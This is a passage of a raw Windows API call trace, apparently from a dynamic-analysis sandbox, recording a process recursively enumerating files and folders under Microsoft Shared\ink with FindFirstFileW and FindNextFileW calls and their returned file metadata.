ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0054.272] GetLastError () returned 0x12 [0054.272] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0054.272] GetLastError () returned 0x12 [0054.272] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0054.272] GetLastError () returned 0x12 [0054.272] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.272] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.272] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.272] GetLastError () returned 0x12 [0054.273] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.273] FindClose (in: hFindFile=0x4d88a0 | out: hFindFile=0x4d88a0) returned 1 [0054.273] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3800070 | out: hHeap=0xab0000) returned 1 [0054.273] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0054.273] GetLastError () returned 0x12 [0054.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0054.282] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.282] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0054.282] GetLastError () returned 0x12 [0054.283] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.283] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.283] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0054.283] GetLastError () returned 0x12 [0054.284] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0054.284] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.284] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0054.284] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0054.284] GetLastError () returned 0x12 [0054.284] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0054.284] GetLastError () returned 0x12 [0054.284] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.284] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.284] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0054.284] GetLastError () returned 0x12 [0054.284] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0054.285] GetLastError () returned 0x12 [0054.285] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0054.285] GetLastError () returned 0x12 [0054.285] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0054.285] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.285] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0054.285] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0054.285] GetLastError () returned 0x12 [0054.286] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0054.286] GetLastError () returned 0x12 [0054.286] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.288] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.288] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0054.288] GetLastError () returned 0x12 [0054.288] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0054.288] GetLastError () returned 0x12 [0054.288] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0054.288] GetLastError () returned 0x12 [0054.289] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0054.289] GetLastError () returned 0x12 [0054.289] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0054.289] GetLastError () returned 0x12 [0054.289] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0054.289] GetLastError () returned 0x12 [0054.289] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0054.289] GetLastError () returned 0x12 [0054.289] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0054.289] GetLastError () returned 0x12 [0054.290] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0054.290] GetLastError () returned 0x12 [0054.290] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0054.290] GetLastError () returned 0x12 [0054.290] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0054.290] GetLastError () returned 0x12 [0054.290] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0054.290] GetLastError () returned 0x12 [0054.290] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0054.290] GetLastError () returned 0x12 [0054.291] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0054.291] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.292] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0054.292] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0054.292] GetLastError () returned 0x12 [0054.292] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, 